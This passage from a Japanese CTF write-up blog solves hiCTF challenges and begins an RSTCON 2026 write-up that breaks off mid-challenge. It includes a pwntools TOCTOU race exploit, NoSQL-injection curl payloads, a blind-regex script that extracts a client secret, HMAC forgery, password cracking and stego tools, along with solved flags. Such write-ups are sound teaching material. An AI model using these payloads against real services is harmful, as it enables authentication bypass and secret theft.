  • チェックを通過したら usleep(25000)(25ms)だけ待ってからチェックした変数と同じバッファ(スロットの filepath)を使って fopen する

これは典型的な TOCTOU(Time-Of-Check to Time-Of-Use)Race Conditionであることがわかる。

以下のようにしてフラグを取得できると考えられる。

  1. "flag"を含まないダミーパスでスロットを初期化・編集
  2. 「2. Stream Document via Enclave」でそのスロットを指定 → strstr チェックは通過、スレッドは usleep に入る
  3. スリープが終わらないうちに即座に「3. Edit Document Target Path」で同じスロットのパスを /flag(または ./flag.txt)に書き換える
  4. スレッドが usleep から戻り、書き換え後のパスで fopen → 中身が標準出力にダンプされる
#!/usr/bin/env python3
from pwn import *
import time

HOST = 'apex-engine-0480c8fa8480.chall.hiddeninvestigations.net'
PORT = 1337

if len(sys.argv) == 1:
    p = remote(HOST, PORT, ssl=True)
else:
    p = process('./challenge')

p.recvuntil(b'Select Option: ')

p.send(b'2\n100\n2\n100\n')
time.sleep(0.3)
print(p.recv(timeout=1).decode(errors='replace'))

p.sendline(b'1')
print(p.recvuntil(b'Select Option: ', timeout=2).decode(errors='replace'))

p.sendline(b'4')
print(p.recvuntil(b'Select Option: ', timeout=2).decode(errors='replace'))

p.send(b'5\n1\n0\n2\n0\n3\n0\n/flag\n')

time.sleep(0.3)
data = p.recvall(timeout=3)
print(data.decode(errors='replace'))

実行結果は以下の通り。

[+] Opening connection to apex-engine-0480c8fa8480.chall.hiddeninvestigations.net on port 1337: Done
Transfer Amount: 
[+] Order #0 submitted for async settlement.

Main Menu:
1. View Account & Holdings
2. Initiate Escrow Transfer
3. Withdraw from Escrow Vault
4. Upgrade Account Tier (VIP: 10,000 credits)
5. Access Secure Vault Enclave
6. Exit
Select Option: 
Transfer Amount: [+] Order #1 submitted for async settlement.

Main Menu:
1. View Account & Holdings
2. Initiate Escrow Transfer
3. Withdraw from Escrow Vault
4. Upgrade Account Tier (VIP: 10,000 credits)
5. Access Secure Vault Enclave
6. Exit
Select Option: 
[+] Receiving all data: Done (1.86KB)
[*] Closed connection to apex-engine-0480c8fa8480.chall.hiddeninvestigations.net port 1337

=== [APEX SETTLEMENT ENGINE - ACCOUNT STATUS] ===
Cash Balance  : 18446744073709551516 credits
Escrow Vault  : 200 credits
Account Tier  : STANDARD TIER (Basic)
--------------------------------------------------
Active Orders:
  Slot #0: 100 credits [COMPLETED]
  Slot #1: 100 credits [COMPLETED]
==================================================


Main Menu:
1. View Account & Holdings
2. Initiate Escrow Transfer
3. Withdraw from Escrow Vault
4. Upgrade Account Tier (VIP: 10,000 credits)
5. Access Secure Vault Enclave
6. Exit
Select Option: [+] Congratulations! Your account has been upgraded to VIP Tier.
[+] Secure Vault Enclave storage is now accessible.

Main Menu:
1. View Account & Holdings
2. Initiate Escrow Transfer
3. Withdraw from Escrow Vault
4. Upgrade Account Tier (VIP: 10,000 credits)
5. Access Secure Vault Enclave
6. Exit
Select Option: 
--- [SECURE VAULT ENCLAVE] ---
1. Create Document Slot
2. Stream Document via Enclave
3. Edit Document Target Path
4. Return to Main Menu
Vault Choice: Select Slot (0-3): [+] Initialized Slot #0 with default target '/tmp/preview.txt'

--- [SECURE VAULT ENCLAVE] ---
1. Create Document Slot
2. Stream Document via Enclave
3. Edit Document Target Path
4. Return to Main Menu
Vault Choice: Select Slot to Stream (0-3): [+] Enclave streaming dispatched for Slot #0...

--- [SECURE VAULT ENCLAVE] ---
1. Create Document Slot
2. Stream Document via Enclave
3. Edit Document Target Path
4. Return to Main Menu
Vault Choice: Select Slot to Edit (0-3): Enter new filepath: [+] Slot #0 target updated to '/flag'

--- [SECURE VAULT ENCLAVE] ---
1. Create Document Slot
2. Stream Document via Enclave
3. Edit Document Target Path
4. Return to Main Menu
Vault Choice: 
================ [SECURE ENCLAVE DATA STREAM] ================
hiCTF{t0ct0u_mult1thr34d_r4c3_c0nd1t10n_w1n_8d3f_090c3320a1}

==============================================================
hiCTF{t0ct0u_mult1thr34d_r4c3_c0nd1t10n_w1n_8d3f_090c3320a1}

Cold Beacon (Reverse Engineering)

Ghidraでアセンブリを見てみる。

        004042dc 48 83 7c        CMP        qword ptr [RSP + local_98],0x18
                 24 10 18

この部分から正しいキーは24文字であることがわかる。

その後、0x403cffの関数がキーの主要な検証処理になっている。
ここでは .rodata に置かれた3種類のテーブルを使っている。

  • 0x405fa0:各制約の期待値
  • 0x405fc0:どの文字位置を使うか
  • 0x406050 / 0x406070:何文字使うか、どの演算を行うか

順番に見ていくと、以下のように23個のチェックを行っていることがわかる。

key[5] ^ key[6]                  == 0x07
key[9] + key[10]                 == 0xa8
key[10] + key[11]                == 0x74
key[12] + key[13]                == 0xe3
...
key[3] * key[15]                 == 0xc0
key[7] * key[21]                 == 0x83
key[11] * key[19]                == 0x24
key[4] ^ key[12] ^ key[20]       == 0x00
...

これらの条件に合うものをz3で解く。

#!/usr/bin/env python3
from z3 import *
import hashlib

KEY_LEN = 24

EXPECTED = [
    0x07,
    0xA8,
    0x74,
    0xE3,
    0xDA,
    0x9C,
    0xCE,
    0xA5,
    0x74,
    0x71,
    0x98,
    0x94,
    0x99,
    0xA9,
    0xC0,
    0x83,
    0x24,
    0x00,
    0x6C,
    0xC4,
    0x09,
    0xD9,
    0x0F,
]

CONSTRAINTS = [
    ("xor", [5, 6]),
    ("sum", [9, 10]),
    ("sum", [10, 11]),
    ("sum", [12, 13]),
    ("sum", [13, 14]),
    ("sum", [14, 15]),
    ("sum", [16, 17]),
    ("sum", [17, 18]),
    ("sum", [18, 19]),
    ("sum", [19, 20]),
    ("sum", [20, 21]),
    ("sum", [21, 22]),
    ("sum", [22, 23]),
    ("sum", [23, 0]),
    ("mul", [3, 15]),
    ("mul", [7, 21]),
    ("mul", [11, 19]),
    ("xor", [4, 12, 20]),
    ("xor", [2, 10, 18]),
    ("sum", [0, 4, 8, 12, 16, 20]),
    ("xor", [1, 5, 9, 13, 17, 21]),
    ("sum", [2, 7, 10, 15, 18, 23]),
    ("xor", [3, 6, 11, 14, 19, 22]),
]

CIPHERTEXT = bytes.fromhex(
    "62e8732e"
    "8602c5dd"
    "3c16a976"
    "ae2a8991"
    "d4a18ed1"
    "12e7405f"
    "bfb13526"
    "74256bff"
    "fdfe1233"
    "2534e3b3"
    "fc9581c9"
    "45e0a6"
)

EXPECTED_CONFIG_HASH = bytes.fromhex(
    "0502f285"
    "cdf91056"
    "00a27444"
    "181c3016"
    "09e2a30a"
    "aa7516c5"
    "55f60802"
    "b066ad40"
)

def decrypt_config(candidate: bytes) -> bytes:
    seed = hashlib.sha256(candidate).digest()

    keystream = bytearray()
    counter = 0

    while len(keystream) < len(CIPHERTEXT):

        block_input = (
            seed
            + counter.to_bytes(
                4,
                byteorder="big"
            )
        )

        block = hashlib.sha256(
            block_input
        ).digest()

        keystream.extend(block)

        counter += 1

    plaintext = bytes(
        c ^ k
        for c, k in zip(
            CIPHERTEXT,
            keystream
        )
    )

    return plaintext

def verify_candidate(candidate: bytes):

    plaintext = decrypt_config(candidate)

    digest = hashlib.sha256(
        plaintext
    ).digest()

    if digest != EXPECTED_CONFIG_HASH:
        return None

    return plaintext

def build_solver():

    s = Solver()

    key = [
        BitVec(
            f"k{i}",
            8
        )
        for i in range(KEY_LEN)
    ]

    for k in key:
        s.add(
            UGE(k, 0x20),
            ULE(k, 0x7E)
        )

    for i, (op, indexes) in enumerate(CONSTRAINTS):

        expected = EXPECTED[i]

        if op == "xor":

            expr = key[indexes[0]]

            for idx in indexes[1:]:
                expr = expr ^ key[idx]

            s.add(
                expr == expected
            )

        elif op == "sum":

            expr = key[indexes[0]]

            for idx in indexes[1:]:
                expr = expr + key[idx]

            s.add(
                expr == expected
            )

        elif op == "mul":

            assert len(indexes) == 2

            s.add(
                key[indexes[0]]
                * key[indexes[1]]
                == expected
            )

        else:
            raise ValueError(
                f"unknown op: {op}"
            )

    s.add(
        key[9] + key[10] == 0xA8
    )

    s.add(
        (key[4] ^ key[12])
        == key[20]
    )

    s.add(
        key[12] + key[13] == 0xE3
    )

    return s, key

def model_to_bytes(model, key):

    return bytes(
        model.eval(
            k,
            model_completion=True
        ).as_long()
        for k in key
    )

def exclude_model(
    solver,
    model,
    key
):

    solver.add(
        Or(
            *[
                k
                != model.eval(
                    k,
                    model_completion=True
                )
                for k in key
            ]
        )
    )

def main():

    solver, key = build_solver()

    count = 0

    while solver.check() == sat:

        model = solver.model()

        candidate = model_to_bytes(
            model,
            key
        )

        count += 1

        try:
            candidate_str = candidate.decode(
                "ascii"
            )
        except UnicodeDecodeError:
            candidate_str = repr(
                candidate
            )

        print(
            f"[{count}] {candidate_str}"
        )

        plaintext = verify_candidate(
            candidate
        )

        if plaintext is not None:

            print()
            print(
                "[+] FOUND!"
            )

            print(
                "[+] key:",
                candidate.decode(
                    "ascii"
                )
            )

            try:
                print(
                    "[+] config:",
                    plaintext.decode(
                        "ascii"
                    )
                )

            except UnicodeDecodeError:

                print(
                    "[+] config:",
                    plaintext
                )

            return

        exclude_model(
            solver,
            model,
            key
        )

    print(
        "[-] no valid candidate found"
    )

if __name__ == "__main__":
    main()

実行結果は以下の通り。

[1] Cpl$Bstc0n::unl0ck::7a3f
[2] C ltB#$c0n::unl0ck::7a3f
[3] C0ldB34c0n::unl0ck::7a3f

[+] FOUND!
[+] key: C0ldB34c0n::unl0ck::7a3f
[+] config: hiCTF{c0ld_b34c0n_cfg_uns34l3d_fr0m_th3_s4mpl3}
hiCTF{c0ld_b34c0n_cfg_uns34l3d_fr0m_th3_s4mpl3}

Epsilon Drift (Reverse Engineering)

ChatGPTに聞いてみた。

大まかな流れは次の通り。

1. 入力形式を確認
- 引数は hex 文字列
- 正解候補は64文字のhex
- つまり 32バイト
- 32バイト = 8バイト × 4 なので、4つの64-bit値として使われていた。

2. 各64-bit値に対する条件を逆アセンブルから追跡
最初の2つは、IEEE 754の倍精度浮動小数点数として条件が掛けられていた。

復元すると、以下の通りとなる。
x = 0x3ff199999999999a = 1.1
y = 0x400199999999999a = 2.2

3. 3つ目は x + y の結果
普通に考えると、以下の通りとなるが、IEEE 754では厳密な3.3にはならない。
1.1 + 2.2 = 3.3

Pythonで確認すると、以下の通りとなる。

>>> 1.1 + 2.2
3.3000000000000003

ビット表現は、以下の通りとなる。
0x400a666666666667

ここがログにあった以下の部分と問題名 Epsilon Drift のヒントになっている。
residual 3.300000000000000e+00   WARN rounding

4. 4つ目が最大の罠
最初は普通の 0.0 を入れて試した。

つまり最後の8バイトを以下のようにしたが、「calibration residual out of band」となった。
0000000000000000

そこで最終条件をさらに見ると、値が0かどうかだけではなく、符号ビットもチェックしていることがわかった。

IEEE 754では、以下の通り2種類のゼロがある。
+0.0 = 0x0000000000000000
-0.0 = 0x8000000000000000

5. little endianで並べる
4つの値はメモリ上ではlittle endianなので、以下のようになる。

1.1
0x3ff199999999999a
↓
9a9999999999f13f

2.2
0x400199999999999a
↓
9a99999999990140

3.3000000000000003
0x400a666666666667
↓
6766666666660a40

-0.0
0x8000000000000000
↓
0000000000000080

これを連結すると、以下の通りとなる。
9a9999999999f13f9a999999999901406766666666660a400000000000000080
$ ./epsilon-drift 9a9999999999f13f9a999999999901406766666666660a400000000000000080
hiCTF{1eee754_s1gn3d_z3r0_1u1p_dr1ft_eps!}
hiCTF{1eee754_s1gn3d_z3r0_1u1p_dr1ft_eps!}

Obfuscated Flow (Reverse Engineering)

ChatGPTに聞いてみた。

解析上のポイントは、40文字の本体を 4バイト×10個の整数として扱っている点。難読化された制御フローの実体は、各整数に対する数論的な条件になっている。

最初の2ブロックは法 0x7fffffff 上で概ね以下のようになっている。

x0 * x1 = 0x37c0f52c
x0^2 - 0x7a69 * x1^2 = 0x1e054920

これを解くと以下のようになる。

x0 = "m4th"
x1 = "_c0n"

途中には離散対数条件があり、以下のようになっている。

7^x4  mod 0x7fffffff = 0x7bb949ec
11^x5 mod 0x7fffffff = 0x0b3bbfc8

これを解くと以下のようになる。

x4 = "w_3l"
x5 = "l1pt"

さらに別の線形合同式から以下のようになる。

x6 = "1c_d"
x7 = "log_"

最後の和・積の条件から以下のようになる。

x8 = "4f7b"
x9 = "2c9e"

`x2`, x3 は楕円曲線系のチェックで、以下のようになる。

"tr0l"
"_fl0"

全部つなげると以下の通りとなる。

m4th_c0ntr0l_fl0w_3ll1pt1c_dlog_4f7b2c9e
hiCTF{m4th_c0ntr0l_fl0w_3ll1pt1c_dlog_4f7b2c9e}

Whisper (Web)

NoSQLインジェクションでトークンを取得する。

$ curl https://whisper-0ae54b9996ac.chall.hiddeninvestigations.net/api/token \
  -H "Content-Type: application/json" \
  -d '{"client_id":"public-web","client_secret":{"$ne": "pass"}}'
{"access_token":"at_610a4a9eeb8bf996d655cacc","token_type":"Bearer","client_id":"public-web","scope":"read"}

今度はreport-signerで同じようにやってみる。

$ curl https://whisper-0ae54b9996ac.chall.hiddeninvestigations.net/api/token \
  -H "Content-Type: application/json" \
  -d '{"client_id":"report-signer","client_secret":{"$ne": "pass"}}'
{"access_token":"at_378d479a18c5a4e965fe2c36","token_type":"Bearer","client_id":"report-signer","scope":"read report:export"}

/internal/exportにAPI仕様に従い、それらしき値を指定してアクセスしてみる。

$ curl -X POST https://whisper-0ae54b9996ac.chall.hiddeninvestigations.net/internal/export \
  -H "X-Client-Id: report-signer" \
  -H "X-Timestamp: $(date +%s)" \
  -H "X-Signature: deadbeef" \
  -H "Content-Type: application/json" \
  -d '{}'
{"error":"signature mismatch","string_to_sign":"METHOD \\n PATH \\n CANONICAL_QUERY \\n HEX_SHA256(body) \\n X-Timestamp","signature":"lowercase hex of HMAC-SHA256(client_secret, string_to_sign)","canonical_query":"request query params sorted by key as 'k=v' joined by '&', or empty string if none"}

HMAC-SHA256(client_secret, string_to_sign)を計算してやる必要があるので、secretが必要。

$ curl https://whisper-0ae54b9996ac.chall.hiddeninvestigations.net/api/token \
  -H "Content-Type: application/json" \
  -d '{"client_id":"report-signer","client_secret":{"$regex":"^."}}'
{"access_token":"at_095bb03a1a7dcafab94993e9","token_type":"Bearer","client_id":"report-signer","scope":"read report:export"}

$regexも使えるので、ブルートフォースでsecretを取得する。

#!/bin/bash
URL="https://whisper-0ae54b9996ac.chall.hiddeninvestigations.net/api/token"
CHARS='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-'
secret=""

regesc() {
  printf '%s' "$1" | sed 's/[.[\*^$()+?{|\\]/\\&/g'
}

try_token() {
  local pattern="$1"
  curl -s "$URL" -H "Content-Type: application/json" \
    -d "{\"client_id\":\"report-signer\",\"client_secret\":{\"\$regex\":\"${pattern}\"}}"
}

echo "=== secret 抽出開始 ==="
while true; do
  found=0
  for (( i=0; i<${#CHARS}; i++ )); do
    c="${CHARS:$i:1}"
    esc_secret=$(regesc "$secret")
    esc_c=$(regesc "$c")
    pattern="^${esc_secret}${esc_c}"
    resp=$(try_token "$pattern")
    if echo "$resp" | grep -q "access_token"; then
      secret="${secret}${c}"
      echo "進捗: $secret"
      found=1
      break
    fi
  done
  if [ $found -eq 0 ]; then
    break
  fi
done

echo "=== 候補文字集合で尽きました ==="
echo "現時点のsecret候補: $secret"

# 完全一致(終端)確認
esc_secret=$(regesc "$secret")
resp=$(try_token "^${esc_secret}\$")
if echo "$resp" | grep -q "access_token"; then
  echo "確定: secretは正確に '$secret' です (長さ: ${#secret})"
else
  echo "完全一致しません。記号を含む可能性があります。CHARSを拡張して再実行してください。"
fi

実行結果は以下の通り。

=== secret 抽出開始 ===
進捗: a
進捗: aa
進捗: aa3
進捗: aa32
進捗: aa32f
進捗: aa32f3
進捗: aa32f3b
進捗: aa32f3b7
進捗: aa32f3b71
進捗: aa32f3b713
進捗: aa32f3b713c
進捗: aa32f3b713c7
進捗: aa32f3b713c75
進捗: aa32f3b713c754
進捗: aa32f3b713c7545
進捗: aa32f3b713c75453
進捗: aa32f3b713c754537
進捗: aa32f3b713c7545374
進捗: aa32f3b713c75453748
進捗: aa32f3b713c754537485
進捗: aa32f3b713c754537485c
進捗: aa32f3b713c754537485ca
進捗: aa32f3b713c754537485caf
進捗: aa32f3b713c754537485caf9
進捗: aa32f3b713c754537485caf9e
進捗: aa32f3b713c754537485caf9e2
進捗: aa32f3b713c754537485caf9e2b
進捗: aa32f3b713c754537485caf9e2b6
進捗: aa32f3b713c754537485caf9e2b65
進捗: aa32f3b713c754537485caf9e2b655
進捗: aa32f3b713c754537485caf9e2b6551
進捗: aa32f3b713c754537485caf9e2b65517
=== 候補文字集合で尽きました ===
現時点のsecret候補: aa32f3b713c754537485caf9e2b65517
確定: secretは正確に 'aa32f3b713c754537485caf9e2b65517' です (長さ: 32)

このsecretを使って/internal/exportにアクセスする。

$ cat solve.sh  
#!/bin/bash
BASE="https://whisper-0ae54b9996ac.chall.hiddeninvestigations.net"
SECRET="aa32f3b713c754537485caf9e2b65517"
METHOD="POST"
PATH_="/internal/export"
QUERY=""
BODY='{}'
TS=$(date +%s)
NONCE=$(openssl rand -hex 16)

BODY_HASH=$(printf '%s' "$BODY" | sha256sum | awk '{print $1}')
STRING_TO_SIGN=$(printf '%s\n%s\n%s\n%s\n%s\n%s' "$METHOD" "$PATH_" "$QUERY" "$BODY_HASH" "$TS" "$NONCE")

echo "=== string_to_sign ==="
echo "$STRING_TO_SIGN"
echo "======================="
echo "nonce: $NONCE"

SIG=$(printf '%s' "$STRING_TO_SIGN" | openssl dgst -sha256 -hmac "$SECRET" | sed 's/^.* //')

echo "signature: $SIG"

curl -s -X POST "${BASE}${PATH_}" \
  -H "X-Client-Id: report-signer" \
  -H "X-Timestamp: $TS" \
  -H "X-Nonce: $NONCE" \
  -H "X-Signature: $SIG" \
  -H "Content-Type: application/json" \
  -d "$BODY"
echo ""
$ bash solve.sh
=== string_to_sign ===
POST
/internal/export

44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
1793428745
0e51cc1e2c07904192904e1f076507a2
=======================
nonce: 0e51cc1e2c07904192904e1f076507a2
signature: 154d45d7191913d836a1036445855b61b79be4423c5243925736a1ff22c35998
{"ok":true,"report":"export authorized","flag":"hiCTF{bl1nd_regex_3xfil_then_f0rge_the_cust0m_s1gner_5aca6e5ff7}"}
hiCTF{bl1nd_regex_3xfil_then_f0rge_the_cust0m_s1gner_5aca6e5ff7}

Broken Signals (Forensics)

バイナリエディタで見ると、PNGフォーマットで先頭4バイトだけが壊れていることがわかる。
先頭4バイトを以下のように変更し、flag.pngとして保存する。

89 50 4e 47


flag.pngの画像にフラグが書いてあった。

hiCTF{h34d3r_r3p41r_m4st3r}

Ghost in the Wire (Forensics)

icmpの通信しかない。途中からData部に1バイトのデータがあるので、結合する。

hiCTF{1cmp_3xf1l_d3t3ct3d}

Memory Liar (Forensics)

$ strings memory.raw           
RSDSJ
ntkrpamp.pdb
KDBG
Proc
System
Thre
Proc
smss.exe
Thre
Proc
csrss.exe
Thre
Proc
wininit.exe
Thre
Proc
services.exe
Thre
Proc
lsass.exe
Thre
Proc
svchost.exe
Thre
Proc
svchost.exe
Thre
Proc
explorer.exe
Thre
Proc
notepad.exe
Thre
====================================================================
[CONFIDENTIAL - ENDPOINT INCIDENT LOG]
Host Audit: SEC-2026-10-19-094
Status: System integrity validated. No hidden tasks or hooks found.
Forensics Verification Token: hiCTF{th1s_1s_4_f4k3_d3c0y_fl4g_f0r_n00bs_883a1c}
====================================================================
Proc
winxnet.exe
Thre
ROOT9
&96m0
(31l36
n-/m>n..
1l.)
>/m..
>5n>6
j>n<d; 
c2.darkshadow-apt.org:8443
OP_SHADOW_LIAR_ACTIVE

winxnet.exeの近くにROOT9という文字列がある。その周辺をバイナリで見てみる。

$ xxd -g 1 memory.raw | grep -A 10 ROOT
0035f000: 52 4f 4f 54 39 05 00 00 5d 00 00 00 33 00 00 00  ROOT9...]...3...
0035f010: 35 34 1e 09 1b 26 39 36 6d 30 02 28 33 31 6c 33  54...&96m0.(31l3
0035f020: 36 02 6e 2d 2f 6d 3e 6e 2e 2e 02 31 6c 2e 29 02  6.n-/m>n...1l.).
0035f030: 3e 2f 6d 2e 2e 02 3e 35 6e 3e 36 02 6a 3e 6e 3c  >/m...>5n>6.j>n<
0035f040: 64 3b 20 00 00 00 00 00 00 00 00 00 00 00 00 00  d; .............
0035f050: 63 32 2e 64 61 72 6b 73 68 61 64 6f 77 2d 61 70  c2.darkshadow-ap
0035f060: 74 2e 6f 72 67 3a 38 34 34 33 00 00 00 00 00 00  t.org:8443......
0035f070: 4f 50 5f 53 48 41 44 4f 57 5f 4c 49 41 52 5f 41  OP_SHADOW_LIAR_A
0035f080: 43 54 49 56 45 00 00 00 00 00 00 00 00 00 00 00  CTIVE...........
0035f090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0035f0a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

以下のように推測した。

  • 5d 00 00 00:XOR鍵
  • 33 00 00 00:データ長
  • 35 34 1e ... 64 3b 20: 暗号データ

これを元に復号する。

#!/usr/bin/env python3
with open('memory.raw', 'rb') as f:
    enc = f.read()[0x35f010:0x35f010 + 0x33]

flag = ''
for c in enc:
    flag += chr(c ^ 0x5d)
print(flag)
hiCTF{dk0m_unl1nk_3pr0c3ss_l1st_cr0ss_ch3ck_7c3a9f}

Roof of Africa (steg)

$ stegseek roof_of_africa.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "5895"B)           
[i] Original filename: "roof_flag_v2.txt".
[i] Extracting to "roof_of_africa.jpg.out".

$ cat roof_of_africa.jpg.out
hiCTF{h4kun4_m4t4t4_m34ns_n0_w0rr13s}
hiCTF{h4kun4_m4t4t4_m34ns_n0_w0rr13s}

Zanzibar Whisper (steg)

空のパスフレーズで秘密情報を抽出する。

$ steghide extract -sf zanzibar_whisper.jpg                                            
Enter passphrase: 
wrote extracted data to "zanzibar_flag2.txt".
$ cat zanzibar_flag2.txt    
hiCTF{sp1c3_1sl4nd_s3cr3ts}
hiCTF{sp1c3_1sl4nd_s3cr3ts}

Whispers in the Margin (steg)

Those numbers are process counts.docxにはスペースやタブがたくさん入っている。
https://www.dcode.fr/whitespace-languageで復号する。

haha! u got me, now what?

これをパスフレーズとしてjpgから秘密情報を抽出する。

$ steghide extract -sf chall.jpg -p "haha! u got me, now what?"
wrote extracted data to "flag.txt".
$ cat flag.txt          
hiCTF{573g4n0gr4phy_!5_fun}
hiCTF{573g4n0gr4phy_!5_fun}

Echoes of a Forgotten Canvas (steg)

$ binwalk chall.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 4000 x 4000, 8-bit/color RGBA, non-interlaced
1459          0x5B3           Zlib compressed data, compressed
5518406       0x543446        Zip archive data, encrypted at least v2.0 to extract, compressed size: 3358907, uncompressed size: 3364164, name: carrier.jpg
8877479       0x8775A7        End of Zip archive, footer length: 22

pngの後ろにzipがくっついているので、それぞれ切り出す。

$ dd if=chall.png of=chall2.png bs=1 count=5518406
5518406+0 records in
5518406+0 records out
5518406 bytes (5.5 MB, 5.3 MiB) copied, 668.726 s, 8.3 kB/s
$ dd if=chall.png of=flag.zip bs=1 skip=5518406 
3359095+0 records in
3359095+0 records out
3359095 bytes (3.4 MB, 3.2 MiB) copied, 397.201 s, 8.5 kB/s

切り出したchall2.pngをTweakPNGで見ると、IHDRチャンクのCRCが正しくないので、CRCが合うように高さを変更する。

#!/usr/bin/env python3
import struct
import binascii

with open('chall2.png', 'rb') as f:
    data = f.read()

head = data[:12]
tail = data[29:]

for h in range(4001, 6000):
    height = struct.pack('>I', h)
    ihdr = data[12:20] + height + data[24:29]
    crc = struct.pack('!I', binascii.crc32(ihdr))
    if crc == data[29:33]:
        out = head + ihdr + tail
        with open('chall_fix.png', 'wb') as f:
            f.write(out)
        break


修復した画像の右下にフラグの前半が書かれている。

hiCTF{mu1t!14y3r3d_

flag.zipはパスワードがかかっているので、クラックする。

$ zip2john flag.zip > hash.txt
ver 2.0 efh 5455 efh 7875 flag.zip/carrier.jpg PKZIP Encr: TS_chk, cmplen=3358907, decmplen=3364164, crc=4230EEBB ts=14CC cs=14cc type=8
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
dreamcatcher     (flag.zip/carrier.jpg)     
1g 0:00:00:00 DONE (2026-10-31 11:41) 7.142g/s 234057p/s 234057c/s 234057C/s christal..eatme1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

このパスワードを使ってflag.zipを解凍し、展開されるファイルを解析する。

$ unzip flag.zip
Archive:  flag.zip
[flag.zip] carrier.jpg password: 
  inflating: carrier.jpg
$ stegseek carrier.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "profound"          

[i] Original filename: "finall.jpg".
[i] Extracting to "carrier.jpg.out".
$ mv carrier.jpg.out finall.jpg

$ steghide extract -sf finall.jpg        
Enter passphrase: 
Corrupt JPEG data: 3374 extraneous bytes before marker 0xd9
steghide: could not extract any data with that passphrase!

finall.jpgは画像の高さを変えられてしまっているのかもしれない。
バイナリエディタでオフセット0xc7-0xc8を以下のように変更する。

02 87 -> 03 87


画像の下部にフラグの後半が現れた。

st3g0o_ju5t_l0v333}
hiCTF{mu1t!14y3r3d_st3g0o_ju5t_l0v333}

Cipher Cascade (Cryptography)

CyberChefで以下の順でデコードする。

  • Reverse
  • From Base64
  • Frome Hex
  • ROT13
hiCTF{l4y3r_by_l4y3r_unw1nd}

Tyco (Cryptography)

平文の差とそのRSA暗号の暗号文が2つわかっているので、Franklin-Reiter Related Message Attackで復号する。

#!/usr/bin/env sage
from Crypto.Util.number import *

def related_message_attack(c1, c2, diff, e, n):
    PRx.<x> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+diff)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    return -gcd(g1, g2)[0]

N = 6473367999588815881004572026588101750789079445857778536811168773336769104246291698373278825101339166586003503710113510158959567754294313663054146192986157
e = 56263
d = 2035764493091178624712794329705995870572416764083820061256032842991849492659098525475022938791830969705210788470345958581547703841173518982860845498416721
t1 = 5781684316211813340099872158841814667969949431547126810872317404279855836615577909943707949461944016952363993351117294907803807466967042600735326571642750
t2 = 5259035151262072090045557031571853293994610739483317199715493584749958652346593143297235904086846475896963065621327693095317182721586618178754533498537529

r = related_message_attack(t1, t2, d, e, N)
flag = long_to_bytes(int(r)).decode()
print(flag)
hiCTF{your_ai_slop_bores_me}

Log Jam (Cryptography)

PARI/GPのznlogでDLPを解く。

$ gp
Reading GPRC: /etc/gprc
GPRC Done.

                                                                            GP/PARI CALCULATOR Version 2.19.0 (released)
                                                                    amd64 running linux (x86-64/GMP-6.3.0 kernel) 64-bit version
                                                                    compiled: Oct 10 2026, gcc version 16.2.0 (Debian 16.2.0-3)
                                                                             threading engine: pthread, nbthreads = 128
                                                                           (readline v8.3 enabled, extended help enabled)

                                                                               Copyright (C) 2000-2026 The PARI Group

PARI/GP is free software, covered by the GNU General Public License, and comes WITHOUT ANY WARRANTY WHATSOEVER.

Type ? for help, \q to quit.
Type ?25 for how to get moral (and possibly technical) support.

parisize = 8000000, primelimit = 1048576, factorlimit = 1048576
? allocatemem(2*10^9)
  ***   Warning: new stack size = 2000000000 (1907.349 Mbytes).                                                                                                                                     
? p = 0x7958085483c2736f23;
? g = Mod(0x2d738b6682dacc0bb7, p);                                                                                                                                                                 
? h = Mod(0x36130f3996b8198135, p);                                                                                                                                                                 
? x = znlog(h, g);                                                                                                                                                                                  
? print(x)                                                                                                                                                                                          
471774559909450042061                                                                                                                                                                               
? print(g^x == h);
1

471774559909450042061を文字列としたsha256ダイジェストを鍵とする。あとはnonce, tagがあるので、AES GCMモード暗号の復号で、フラグを取得する。

#!/usr/bin/env python3
from hashlib import sha256
from Crypto.Cipher import AES

nonce = bytes.fromhex('786fe3b966eb9949d0ded089')
tag = bytes.fromhex('469442d8157214b3ba95136e3a7e8082')
ciphertext = bytes.fromhex('dec59383508c24b2aa7c5ec44407720c8ac385af2dbc157b59a4113056f6b0b49abe300e822ffed923516e0d8eb77d49b55f')

key = b'471774559909450042061'
key = sha256(key).digest()

cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
flag = cipher.decrypt_and_verify(ciphertext, tag).decode()
print(flag)
hiCTF{W0W1_y0u_4ctu4a11y_s01v3d_1t_ju$t_L1k3_tH4t}

RSTCON 2026 CTF Writeup

この大会は2026/10/24 2:00(JST)~2026/10/26 2:00(JST)に開催されました。
今回もチームで参戦。結果は290点で435チーム中55位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome to RSTCON (Misc)

問題文にフラグが書いてあった。

rstcon{thank-you_epri!}

n07_05h4_c3r71f13d (Misc)


6個の問題があるので、順にクリアする。

R0の問題はこうなっている。

Use a branch. Energize ALARM when HI_LVL or LEAK is on. Click the PLC key to switch to RUN and evaluate the logic. Unscramble the word from the letters you get by solving each question.

HI_LVL = 1 LEAK = 0

0 の配線はHI_LVL(1)とLEAK(0)が直列(AND)になっているので、Branchを選んで並列(OR)に組み直す。

R1の問題はこうなっている。

Use a normally open contact. Energize INLET when START is on.

START = 1

1 ではN.C. Contactになっているので、N.O. Contactに入れ替える。

R2の問題はこうなっている。

Use a normally closed contact. Energize DOSE when AUTO is on and CL_FLT is off.

AUTO = 1 CL_FLT = 0

2 ではCL_FLTを0にすればよいので、N.C. Contactにする。

R3の問題はこうなっている。

Use a coil. LVL_LO is on. Add a coil so FILL turns on.

